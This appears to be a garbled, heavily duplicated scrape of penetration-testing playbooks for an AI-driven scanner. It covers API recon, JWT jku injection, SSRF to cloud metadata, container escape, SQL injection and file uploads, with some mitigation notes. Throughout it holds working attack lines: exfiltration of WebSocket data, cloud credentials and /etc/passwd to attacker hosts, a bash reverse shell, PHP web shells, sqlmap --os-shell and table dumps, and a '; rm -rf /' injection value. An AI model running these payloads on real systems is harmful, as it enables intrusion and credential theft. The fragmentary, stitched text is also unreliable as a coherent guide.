|--------------|-------------------------------|------------------------------------------------------------------| | ffuf         | Generic HTTP fuzzer           | `go install github.com/ffuf/ffuf/v2@latest`                      | | kiteru

| ffuf         | Generic HTTP fuzzer           | `go install github.com/ffuf/ffuf/v2@latest`                      | | kiterunner   | API-aware route discovery     | https://github.com/assetnote/kiterunner/releases                 | | katana

| kiterunner   | API-aware route discovery     | https://github.com/assetnote/kiterunner/releases                 |

{   "$schema": "https://json-schema.org/draft/2020-12/schema",

"$schema": "https://json-schema.org/draft/2020-12/schema",

curl -sX POST https://target.tld/graphql \

Tool: `graphql-cop -t https://target.tld/graphql`.

1. Host attacker JWKS at `https://attacker.tld/jwks.json`.

2. Craft header: `{"alg":"RS256","jku":"https://attacker.tld/jwks.json","typ":"JWT","kid":"mine"}`.

Bypass tricks for host-allowlists: - `jku: "https://target.tld@attacker.tld/jwks.json"` (userinfo abuse)

- `jku: "https://target.tld@attacker.tld/jwks.json"` (userinfo abuse)

- `jku: "https://target.tld.attacker.tld/jwks.json"` (subdomain confusion)

# Spec discovery (run in parallel) curl -s https://target.tld/api/docs           | tee recon/docs.json

curl -s https://target.tld/api/docs           | tee recon/docs.json

curl -s https://target.tld/swagger.json       | tee recon/swagger.json

curl -s https://target.tld/openapi.json       | tee recon/openapi.json

curl -s https://target.tld/.well-known/openapi.json | tee recon/well-known.json

curl -s https://target.tld/v1/api-docs        | tee recon/v1-api-docs.json

curl -s https://target.tld/v2/api-docs        | tee recon/v2-api-docs.json

curl -s https://target.tld/api/schema         | tee recon/schema.json

# Common path brute force ffuf -u https://target.tld/FUZZ -w api-wordlist.txt \

ffuf -u https://target.tld/FUZZ -w api-wordlist.txt \

# Endpoint discovery from JS / kiterunner / katana (parallel) kr scan https://target.tld -w routes-large.kite -o recon/kr.txt

kr scan https://target.tld -w routes-large.kite -o recon/kr.txt

katana -u https://target.tld -jc -o recon/katana.txt

# Parameter discovery per-endpoint arjun -u https://target.tld/api/users -m GET,POST -oJ recon/arjun-users.json

arjun -u https://target.tld/api/users -m GET,POST -oJ recon/arjun-users.json

# Rapid-fire (check 429 enforcement) seq 1 1000 | xargs -P50 -I{} curl -s -o /dev/null -w "%{http_code}\n" \

seq 1 1000 | xargs -P50 -I{} curl -s -o /dev/null -w "%{http_code}\n" \

https://target.tld/api/login -d '{"user":"test","pass":"test"}' \

[Credential-related source omitted]

nuclei -u https://target.tld/api -t exposures/ -t vulnerabilities/ -t misconfiguration/

# Bypass Origin using wscat wscat -c wss://target.tld/ws -H 'Origin: https://evil.tld'

wscat -c wss://target.tld/ws -H 'Origin: https://evil.tld'

<script>   const ws = new WebSocket('wss://target.tld/ws');   ws.onmessage = e => fetch('https://attacker.tld/x?d=' + btoa(e.data));

const ws = new WebSocket('wss://target.tld/ws');   ws.onmessage = e => fetch('https://attacker.tld/x?d=' + btoa(e.data));   ws.onopen = () => ws.send(JSON.stringify({action:'subscribe',channel:'me'}));

ws.onmessage = e => fetch('https://attacker.tld/x?d=' + btoa(e.data));

# Group memberships (transitive) az rest --method GET \   --url "https://graph.microsoft.com/v1.0/me/transitiveMemberOf"

az rest --method GET    --url "https://graph.microsoft.com/v1.0/me/transitiveMemberOf"

--url "https://graph.microsoft.com/v1.0/me/transitiveMemberOf"

# Directory roles I hold az rest --method GET \   --url "https://graph.microsoft.com/v1.0/me/memberOf/microsoft.graph.directoryRole"

az rest --method GET    --url "https://graph.microsoft.com/v1.0/me/memberOf/microsoft.graph.directoryRole"

--url "https://graph.microsoft.com/v1.0/me/memberOf/microsoft.graph.directoryRole"

# AWS (IMDSv1 only) http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE

http://169.254.169.254/latest/user-data/

# Azure (requires Metadata: true) http://169.254.169.254/metadata/instance?api-version=2021-02-01

http://169.254.169.254/metadata/instance?api-version=2021-02-01

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# GCP (requires Metadata-Flavor: Google) http://metadata.google.internal/computeMetadata/v1/

http://metadata.google.internal/computeMetadata/v1/

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Filter bypasses http://[::ffff:169.254.169.254]/         # IPv6-mapped

http://[::ffff:169.254.169.254]/         # IPv6-mapped

http://169.254.169.254.nip.io/           # DNS-based

http://0xA9FEA9FE/                       # hex

http://2852039166/                       # decimal

http://169.254.169.254%23@evil.com/...   # URL parser confusion

# Anonymous probes curl -I https://storage.googleapis.com/BUCKET/

curl -I https://storage.googleapis.com/BUCKET/

curl   https://storage.googleapis.com/BUCKET/OBJECT

# Anonymous list probe curl "https://$A.blob.core.windows.net/CONTAINER?restype=container&comp=list"

curl "https://$A.blob.core.windows.net/CONTAINER?restype=container&comp=list"

[Credential-related source omitted]

[Credential-related source omitted]

# IMDSv1 (vulnerable) curl http://169.254.169.254/latest/meta-data/

curl http://169.254.169.254/latest/meta-data/

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

curl http://169.254.169.254/latest/user-data/

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

http://169.254.169.254/latest/meta-data/iam/security-credentials/

[Credential-related source omitted]

[Credential-related source omitted]

# Privileged directory roles (Global Admin, Privileged Role Admin, App Admin, etc.) az rest --method GET \   --url "https://graph.microsoft.com/v1.0/directoryRoles"

az rest --method GET    --url "https://graph.microsoft.com/v1.0/directoryRoles"

--url "https://graph.microsoft.com/v1.0/directoryRoles"

# Role members az rest --method GET \   --url "https://graph.microsoft.com/v1.0/directoryRoles/{role-id}/members"

az rest --method GET    --url "https://graph.microsoft.com/v1.0/directoryRoles/{role-id}/members"

--url "https://graph.microsoft.com/v1.0/directoryRoles/{role-id}/members"

# Conditional Access policies az rest --method GET \   --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"

az rest --method GET    --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"

--url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"

# Anonymous blob probe curl https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container\&comp=list

curl https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container\&comp=list

# Azure IMDS — requires `Metadata: true` header; no response if header missing curl -H "Metadata: true" \

curl -H "Metadata: true" \

"http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Managed identity token curl -H "Metadata: true" \

curl -H "Metadata: true" \

"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Specific resource token curl -H "Metadata: true" \

curl -H "Metadata: true" \

"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

--service-account="$PRIV_SA@$P.iam.gserviceaccount.com" \     --scopes=cloud-platform --tags=admin-allowlist   gcloud compute ssh pwn --command='curl -s http://metadata/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata

gcloud compute ssh pwn --command='curl -s http://metadata/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata-Flavor: Google"'

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/AdministratorRole \

| curl -X POST -d@- https://attacker.tld/c"

- **Indicators:** `RunInstances` event from a principal with no baseline EC2 usage; instance profile elevation; IMDS hit followed by egress to unrelated host. - **Mitigation:** Replace `AWSMarketplaceFullAccess` with a scoped customer-manag

- **Cross-refs:** [Rhino AWS privesc catalog](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation); CWE-269, CWE-732.

# Host a 2-second TTL A-record that alternates between 1.2.3.4 and 169.254.169.254   curl -X POST https://target.tld/fetch -d url=http://rebind.attacker.tld/latest/meta-data/iam/security-credentials/

curl -X POST https://target.tld/fetch -d url=http://rebind.attacker.tld/latest/meta-data/iam/security-credentials/

- **Indicators:** Successful fetch of `169.254.169.254`, `metadata.google.internal`, or `fd00:ec2::254`; DNS log shows two resolutions of same hostname to different IPs within seconds. - **Mitigation:** Pin the resolved IP between validatio

- **Mitigation:** Pin the resolved IP between validation and fetch (single resolution); block RFC1918 / link-local / cloud-metadata IPs at egress; enforce IMDSv2 (requires PUT for token).

- **Affected surface:** Blind-SSRF surfaces common in webhook validators, preview renderers, SSO gateway redirects. - **Detection (automated):**   - Host a redirect loop (`Location: https://attacker.tld/next?c=N`) that bounces for N hops be

- **Detection (automated):**   - Host a redirect loop (`Location: https://attacker.tld/next?c=N`) that bounces for N hops before returning 204.   - Measure total response time / retry count delta between target IPs.

- Host a redirect loop (`Location: https://attacker.tld/next?c=N`) that bounces for N hops before returning 204.

n = int(request.args.get("n","0"))       if n > 30: return "", 204       return redirect(f"https://attacker.tld/r?n={n+1}&probe={request.args['probe']}", code=302)

return redirect(f"https://attacker.tld/r?n={n+1}&probe={request.args['probe']}", code=302)

# Analyze roadrecon gui              # launches local web UI at http://127.0.0.1:5000

roadrecon gui              # launches local web UI at http://127.0.0.1:5000

# MicroBurst (Azure offense, PowerShell) # https://github.com/NetSPI/MicroBurst

# https://github.com/NetSPI/MicroBurst

# Public bucket probes gsutil ls gs://BUCKET                    # authenticated curl https://storage.googleapis.com/BUCKET/   # anonymous list

gsutil ls gs://BUCKET                    # authenticated curl https://storage.googleapis.com/BUCKET/   # anonymous list curl https://storage.googleapis.com/BUCKET/OBJECT  # anonymous fetch

curl https://storage.googleapis.com/BUCKET/   # anonymous list

curl https://storage.googleapis.com/BUCKET/OBJECT  # anonymous fetch

# GCP metadata (Metadata-Flavor: Google required) curl -H "Metadata-Flavor: Google" \

curl -H "Metadata-Flavor: Google" \

http://metadata.google.internal/computeMetadata/v1/

# Default SA token (useful post-SSRF) curl -H "Metadata-Flavor: Google" \

curl -H "Metadata-Flavor: Google" \

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# All SAs attached to this VM curl -H "Metadata-Flavor: Google" \

curl -H "Metadata-Flavor: Google" \

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

# SSH keys in metadata curl -H "Metadata-Flavor: Google" \

curl -H "Metadata-Flavor: Google" \

http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys

WHERE  grants -> 'Grantee' ->> 'URI' IN (          'http://acs.amazonaws.com/groups/global/AllUsers',

'http://acs.amazonaws.com/groups/global/AllUsers',

'http://acs.amazonaws.com/groups/global/AuthenticatedUsers'

{   "$schema": "https://json-schema.org/draft/2020-12/schema",

"$schema": "https://json-schema.org/draft/2020-12/schema",

# Directory roles and members az rest --method GET \   --url "https://graph.microsoft.com/v1.0/directoryRoles" > entra-roles.json

az rest --method GET    --url "https://graph.microsoft.com/v1.0/directoryRoles" > entra-roles.json

--url "https://graph.microsoft.com/v1.0/directoryRoles" > entra-roles.json

# Privileged directory role members (Global Admin etc.) az rest --method GET \   --url "https://graph.microsoft.com/v1.0/directoryRoles?\$expand=members" > entra-role-members.json

az rest --method GET    --url "https://graph.microsoft.com/v1.0/directoryRoles?\$expand=members" > entra-role-members.json

--url "https://graph.microsoft.com/v1.0/directoryRoles?\$expand=members" > entra-role-members.json

# Conditional Access az rest --method GET \   --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" > ca-policies.json

az rest --method GET    --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" > ca-policies.json

--url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" > ca-policies.json

| Syft         | SBOM generator                | `brew install syft`                           | | Hadolint     | Dockerfile lint               | `brew install hadolint`                       | | Kubescape    | K8s security platform        

| Hadolint     | Dockerfile lint               | `brew install hadolint`                       | | Kubescape    | K8s security platform         | `curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh \| /bin/bash`

| Kubescape    | K8s security platform         | `curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh \| /bin/bash` |

| Kubescape    | K8s security platform         | `curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh \| /bin/bash` |

| Falco        | Runtime security (eBPF)       | Helm chart `falcosecurity/falco`              | | Tetragon     | eBPF detection + enforcement  | Helm chart `cilium/tetragon`                  | | Docker Bench | Docker CIS benchmark         

| Tetragon     | eBPF detection + enforcement  | Helm chart `cilium/tetragon`                  | | Docker Bench | Docker CIS benchmark          | `git clone https://github.com/docker/docker-bench-security.git` | | Cosign       | Sign / atte

| Docker Bench | Docker CIS benchmark          | `git clone https://github.com/docker/docker-bench-security.git` |

[Credential-related source omitted]

[Credential-related source omitted]

# BAD ADD https://example.com/installer.sh /tmp/install.sh

ADD https://example.com/installer.sh /tmp/install.sh

# BAD RUN apt-get update && apt-get install -y curl git

RUN apt-get update && apt-get install -y curl git

RUN apt-get update   && apt-get install -y --no-install-recommends curl=7.88.* git=1:2.39.*   && rm -rf /var/lib/apt/lists/*

&& rm -rf /var/lib/apt/lists/*

## 6. `chmod 777` / world-writable files

RUN chmod -R 777 /app

# BAD RUN curl -fsSL https://get.example.com | bash

RUN curl -fsSL https://get.example.com | bash

RUN curl -fsSL https://get.example.com | bash

# GOOD HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \   CMD curl -fsS http://localhost:8080/healthz || exit 1

HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3    CMD curl -fsS http://localhost:8080/healthz || exit 1

CMD curl -fsS http://localhost:8080/healthz || exit 1

Reference: https://unit42.paloaltonetworks.com/breaking-out-of-coresos/

# Public PoC: https://github.com/feexd/pocs/tree/master/CVE-2019-5736

Reference: https://snyk.io/blog/leaky-vessels-docker-runc-container-breakout-vulnerabilities/

[Credential-related source omitted]

API=https://kubernetes.default.svc

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

https://kubernetes.default.svc/api/v1/namespaces/kube-system/secrets

# Write cron job on host via bind mount echo '* * * * * root bash -i >& /dev/tcp/attacker/4444 0>&1' \

echo '* * * * * root bash -i >& /dev/tcp/attacker/4444 0>&1' \

echo '* * * * * root bash -i >& /dev/tcp/attacker/4444 0>&1' \

# Submit manifest clairctl report --host http://clair:6060 nginx:1.27

clairctl report --host http://clair:6060 nginx:1.27

# JSON output clairctl report --out json --host http://clair:6060 nginx:1.27 > clair.json

clairctl report --out json --host http://clair:6060 nginx:1.27 > clair.json

# As an in-cluster Job (parallel across nodes via DaemonSet variant) kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml

kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml

# Helm (modern eBPF driver — preferred) helm repo add falcosecurity https://falcosecurity.github.io/charts

helm repo add falcosecurity https://falcosecurity.github.io/charts

# Install helm repo add cilium https://helm.cilium.io

helm repo add cilium https://helm.cilium.io

{   "$schema": "https://json-schema.org/draft/2020-12/schema",

"$schema": "https://json-schema.org/draft/2020-12/schema",

kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml

kubectl run netshoot --rm -it --image=nicolaka/netshoot -n <src-ns> \      -- curl -m 3 <dst-pod-ip>:<port>

-- curl -m 3 <dst-pod-ip>:<port>

python3 scripts/playwright_dast_scanner.py \   --target https://example.com \

--target https://example.com \

python3 scripts/playwright_dast_scanner.py \   --target https://app.example.com \

--target https://app.example.com \

--mode greybox \   --auth-url https://app.example.com/login \   --username user@test.com \

--auth-url https://app.example.com/login \

# Create domains.txt: # https://example.com

# https://example.com

# https://test.com

# https://demo.com

# Setup cron job for weekly scanning 0 2 * * 1 /path/to/scripts/continuous_dast.sh \   --target https://production.example.com \

0 2 * * 1 /path/to/scripts/continuous_dast.sh    --target https://production.example.com

--target https://production.example.com \

User: Scan https://example.com for vulnerabilities

Claude: I'll perform a blackbox DAST scan on https://example.com using Playwright MCP.

open_redirect:     enabled: true     test_urls: ['https://evil.com', '//evil.com', 'javascript:alert(1)']

test_urls: ['https://evil.com', '//evil.com', 'javascript:alert(1)']

<img src=x:alert(1) onerror=eval(src)>

**User:** "Scan https://example.com for vulnerabilities."

description: 'Target URL to scan'         required: true         default: 'https://staging.example.com'

required: true         default: 'https://staging.example.com'       mode:

default: 'https://staging.example.com'

run: |           # nuclei           curl -sSL https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_linux_amd64.zip -o /tmp/n.zip

# nuclei           curl -sSL https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_linux_amd64.zip -o /tmp/n.zip           unzip -j /tmp/n.zip nuclei -d /usr/local/bin

curl -sSL https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_linux_amd64.zip -o /tmp/n.zip

4. Extract:    - All `<a href>`, `<form action>`, `<script src>`    - Inline JS regex-scanned for `/api/` / `fetch(` / `XMLHttpRequest` / GraphQL operation strings

- All `<a href>`, `<form action>`, `<script src>`    - Inline JS regex-scanned for `/api/` / `fetch(` / `XMLHttpRequest` / GraphQL operation strings    - Source maps (`*.map`) for routed SPA URLs

- Inline JS regex-scanned for `/api/` / `fetch(` / `XMLHttpRequest` / GraphQL operation strings

{   "target": "https://app.example.com",

"target": "https://app.example.com",

# Technology fingerprinting whatweb -a 3 https://target.com -q --log-json whatweb.json &

whatweb -a 3 https://target.com -q --log-json whatweb.json &

# Content discovery ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt \

ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt \

# Nuclei exposure / panel / CVE sweep against the root nuclei -u https://target.com -severity critical,high,medium \

nuclei -u https://target.com -severity critical,high,medium \

[Credential-related source omitted]

wp-config.php.bak backup.zip server-status .htaccess \          actuator/env actuator/heapdump .well-known/security.txt; do   code=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com/$p")

actuator/env actuator/heapdump .well-known/security.txt; do   code=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com/$p")   [ "$code" != "404" ] && echo "$code $p"

code=$(curl -sk -o /dev/null -w "%{http_code}" "https://target.com/$p")

- `confidence` — `confirmed|likely|suspected` - `affected.url`, `affected.http_method`, `affected.parameter` - `evidence.request` (curl command)

- `affected.url`, `affected.http_method`, `affected.parameter` - `evidence.request` (curl command) - `evidence.response` (truncated to 1 KB)

- `evidence.request` (curl command)

## HTTP_2_DOWNGRADE # H2.CL / H2.TE — modern smuggling vector on HTTP/2 front-ends. # Use: curl --http2 with custom headers, or Turbo Intruder with request smuggling extension.

# H2.CL / H2.TE — modern smuggling vector on HTTP/2 front-ends. # Use: curl --http2 with custom headers, or Turbo Intruder with request smuggling extension. # Key marker: inconsistent Content-Length vs body length after h2->h1 downgrade.

# Use: curl --http2 with custom headers, or Turbo Intruder with request smuggling extension.

## TOOLS # https://github.com/PortSwigger/http-request-smuggler (Burp extension)

# https://github.com/PortSwigger/http-request-smuggler (Burp extension)

# smuggler.py: https://github.com/defparam/smuggler

## TOOL # jwt_tool: https://github.com/ticarpi/jwt_tool

# jwt_tool: https://github.com/ticarpi/jwt_tool

## JKU_JWK_INJECTION # Attacker-controlled key via jku/jwk header. jwt_tool <token> -X i -I -hc jku -hv "https://attacker.example.com/jwks.json"

jwt_tool <token> -X i -I -hc jku -hv "https://attacker.example.com/jwks.json"

[Credential-related source omitted]

[Credential-related source omitted]

## SQLMAP_INVOCATIONS # Standard GET sqlmap -u "https://target/page?id=1" --batch --dbs

# Standard GET sqlmap -u "https://target/page?id=1" --batch --dbs # POST with credentials harvested by Playwright

sqlmap -u "https://target/page?id=1" --batch --dbs

# POST with credentials harvested by Playwright sqlmap -u "https://target/login" --data="user=admin&pass=test" --batch # From a saved Burp/curl request

sqlmap -u "https://target/login" --data="user=admin&pass=test" --batch # From a saved Burp/curl request sqlmap -r request.txt --batch --level=5 --risk=3

# From a saved Burp/curl request

## AWS_IMDSV1 http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/iam/security-credentials/

http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

http://169.254.169.254/latest/user-data/

http://169.254.169.254/latest/dynamic/instance-identity/document

[Credential-related source omitted]

[Credential-related source omitted]

# curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

## GCP # Header required: Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Header required: Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1/instance/

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

http://metadata.google.internal/computeMetadata/v1/instance/

http://metadata/computeMetadata/v1/instance/service-accounts/default/token

## AZURE # Header required: Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Header required: Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

http://169.254.169.254/metadata/instance?api-version=2021-02-01

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

## DIGITALOCEAN http://169.254.169.254/metadata/v1/

http://169.254.169.254/metadata/v1/

http://169.254.169.254/metadata/v1/user-data

## KUBERNETES https://kubernetes.default.svc/api/v1/namespaces/default/secrets

https://kubernetes.default.svc/api/v1/namespaces/default/secrets

http://kubernetes.default/

## URL_PARSER_CONFUSION http://attacker.com@169.254.169.254/

http://attacker.com@169.254.169.254/

http://169.254.169.254#@attacker.com/

http://169.254.169.254\@attacker.com/

http://attacker.com/?target=http://169.254.169.254/

<img src=x:alert(1) onerror=eval(src)>

# Certificate transparency logs curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Banner grabbing nc -v target.com 80

nc -v target.com 80

echo "HEAD / HTTP/1.1\r\nHost: target.com\r\n\r\n" | nc target.com 80

# Technology stack detection whatweb -a 3 target.com wappalyzer-cli https://target.com

wappalyzer-cli https://target.com

# CMS detection wpscan --url https://target.com (WordPress)

wpscan --url https://target.com (WordPress)

droopescan scan drupal -u https://target.com (Drupal)

joomscan -u https://target.com (Joomla)

# Directory brute-force gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -o dirs.txt

gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -o dirs.txt

feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# With extensions gobuster dir -u https://target.com -w wordlist.txt -x php,asp,aspx,jsp,html,js,txt,bak

gobuster dir -u https://target.com -w wordlist.txt -x php,asp,aspx,jsp,html,js,txt,bak

# Recursive scanning feroxbuster -u https://target.com -w wordlist.txt -d 3 --no-state

feroxbuster -u https://target.com -w wordlist.txt -d 3 --no-state

# Common sensitive files ffuf -u https://target.com/FUZZ -w sensitive-files.txt

ffuf -u https://target.com/FUZZ -w sensitive-files.txt

[Credential-related source omitted]

# Check for exposed .git curl -s https://target.com/.git/config

curl -s https://target.com/.git/config

curl -s https://target.com/.git/HEAD

# Dump entire repository git-dumper https://target.com/.git/ dumped_repo/

git-dumper https://target.com/.git/ dumped_repo/

[Credential-related source omitted]

# Parameter discovery arjun -u https://target.com/api/users

arjun -u https://target.com/api/users

# GraphQL introspection curl -X POST https://target.com/graphql \

curl -X POST https://target.com/graphql \

# OpenAPI/Swagger discovery ffuf -u https://target.com/FUZZ -w api-docs-wordlist.txt

ffuf -u https://target.com/FUZZ -w api-docs-wordlist.txt

# 1. Navigate to target # 2. Get all script sources # 3. Extract URL patterns: /api/*, fetch("*"), axios.*

# 3. Extract URL patterns: /api/*, fetch("*"), axios.*

# Basic detection sqlmap -u "https://target.com/page?id=1" --batch

sqlmap -u "https://target.com/page?id=1" --batch

# Full exploitation sqlmap -u "https://target.com/page?id=1" --batch --dbs

sqlmap -u "https://target.com/page?id=1" --batch --dbs

sqlmap -u "https://target.com/page?id=1" --batch -D database_name --tables

sqlmap -u "https://target.com/page?id=1" --batch -D database_name -T users --dump

# POST request sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch

sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch

# WAF bypass sqlmap -u "https://target.com/page?id=1" --batch --tamper=space2comment,between

sqlmap -u "https://target.com/page?id=1" --batch --tamper=space2comment,between

# OS command execution (if permissions allow) sqlmap -u "https://target.com/page?id=1" --batch --os-shell

sqlmap -u "https://target.com/page?id=1" --batch --os-shell

# Time-based blind sqlmap -u "https://target.com/page?id=1" --batch --technique=T --time-sec=5

sqlmap -u "https://target.com/page?id=1" --batch --technique=T --time-sec=5

# Second-order injection sqlmap -u "https://target.com/register" --data="email=test@test.com" \

sqlmap -u "https://target.com/register" --data="email=test@test.com" \

--second-url="https://target.com/profile" --batch

# Using commix commix -u "https://target.com/ping?host=127.0.0.1"

commix -u "https://target.com/ping?host=127.0.0.1"

commix -u "https://target.com/process" --data="filename=test.txt"

# Out-of-band detection: ; curl http://attacker.com/$(whoami)

; curl http://attacker.com/$(whoami)

; wget http://attacker.com/?data=$(cat /etc/passwd | base64)

# XSStrike python3 xsstrike.py -u "https://target.com/search?q=test"

python3 xsstrike.py -u "https://target.com/search?q=test"

python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer

python3 xsstrike.py -u "https://target.com/search?q=test" --crawl

# Dalfox for DOM XSS dalfox url "https://target.com/search?q=test"

dalfox url "https://target.com/search?q=test"

dalfox url "https://target.com/search?q=test" --deep-domxss

# With custom payload list ffuf -u "https://target.com/search?q=FUZZ" -w xss_payloads.txt -mc all -fc 400

ffuf -u "https://target.com/search?q=FUZZ" -w xss_payloads.txt -mc all -fc 400

# AWS metadata harvesting curl http://169.254.169.254/latest/meta-data/

curl http://169.254.169.254/latest/meta-data/

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl http://169.254.169.254/latest/user-data/

# GCP metadata curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/

curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/

curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure metadata curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Kubernetes metadata curl http://kubernetes.default.svc/

curl http://kubernetes.default.svc/

curl http://kubernetes.default.svc/api/v1/namespaces

# Time-based port detection # Measure response time for: http://127.0.0.1:22 (SSH - likely open, fast/slow)

# Measure response time for: http://127.0.0.1:22 (SSH - likely open, fast/slow) http://127.0.0.1:80 (HTTP)

http://127.0.0.1:22 (SSH - likely open, fast/slow)

http://127.0.0.1:80 (HTTP)

http://127.0.0.1:3306 (MySQL)

http://127.0.0.1:5432 (PostgreSQL)

http://127.0.0.1:6379 (Redis)

http://127.0.0.1:27017 (MongoDB)

http://127.0.0.1:9200 (Elasticsearch)

http://127.0.0.1:11211 (Memcached)

[Credential-related source omitted]

echo -e '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a<?php system($_GET["c"]); ?>' > shell.png.php

# SVG with XSS <svg xmlns="http://www.w3.org/2000/svg">

<svg xmlns="http://www.w3.org/2000/svg">

# SVG with SSRF <svg xmlns="http://www.w3.org/2000/svg">

<svg xmlns="http://www.w3.org/2000/svg">

<image href="http://internal-server/secret" />

<?php eval($_POST['code']); ?>

promises.push(       page.evaluate(async (url, data) => {         const response = await fetch(url, {

page.evaluate(async (url, data) => {         const response = await fetch(url, {           method: 'POST',

const response = await fetch(url, {

# Sudo permissions

sudo -l

# HTTP exfiltration curl -X POST http://attacker.com/exfil -d "data=$(base64 /etc/passwd)"

curl -X POST http://attacker.com/exfil -d "data=$(base64 /etc/passwd)"

wget --post-file=/etc/passwd http://attacker.com/exfil

# OWASP ZAP CLI zap-cli quick-scan --self-contained -r report.html https://target.com

zap-cli quick-scan --self-contained -r report.html https://target.com

# Nikto nikto -h https://target.com -output nikto.html -Format htm

nikto -h https://target.com -output nikto.html -Format htm

# testssl.sh ./testssl.sh https://target.com

./testssl.sh https://target.com

# WPScan wpscan --url https://target.com -e vp,vt,u

wpscan --url https://target.com -e vp,vt,u

# Katana (crawler) katana -u https://target.com -o crawled_urls.txt

katana -u https://target.com -o crawled_urls.txt

[Credential-related source omitted]

{"filename": "; rm -rf / #"}

// Send GraphQL introspection query const introspection = await page.evaluate(async () => {   const response = await fetch('/graphql', {

const introspection = await page.evaluate(async () => {   const response = await fetch('/graphql', {     method: 'POST',

const response = await fetch('/graphql', {

# nghttp2 client   nghttp -v -m 1 https://target.tld --header=':method: CONNECT' --header=':authority: 127.0.0.1:6379'

nghttp -v -m 1 https://target.tld --header=':method: CONNECT' --header=':authority: 127.0.0.1:6379'

- **Affected surface:** AWS WAF managed rules pre-2024 baseline; ModSecurity CRS < 4.0 without OWASP-CRS anomaly scoring; hand-rolled regex filters. - **Detection (automated):**   - Probe each parameter with the [modern XSS cheatsheet](http

- **Detection (automated):**   - Probe each parameter with the [modern XSS cheatsheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) focusing on: `<details open ontoggle=>`, `<xmp popover ontoggle=>`, `<svg><animate

- Probe each parameter with the [modern XSS cheatsheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) focusing on: `<details open ontoggle=>`, `<xmp popover ontoggle=>`, `<svg><animate attributeName=onbegin values=a

0 2 * * 1 /path/to/continuous_dast.sh \   --target https://production.example.com \

--target https://production.example.com \

exec("kill -9 " + userInput)  // VULNERABLE

eval(user_input)  # RCE

exec($input);

[Credential-related source omitted]

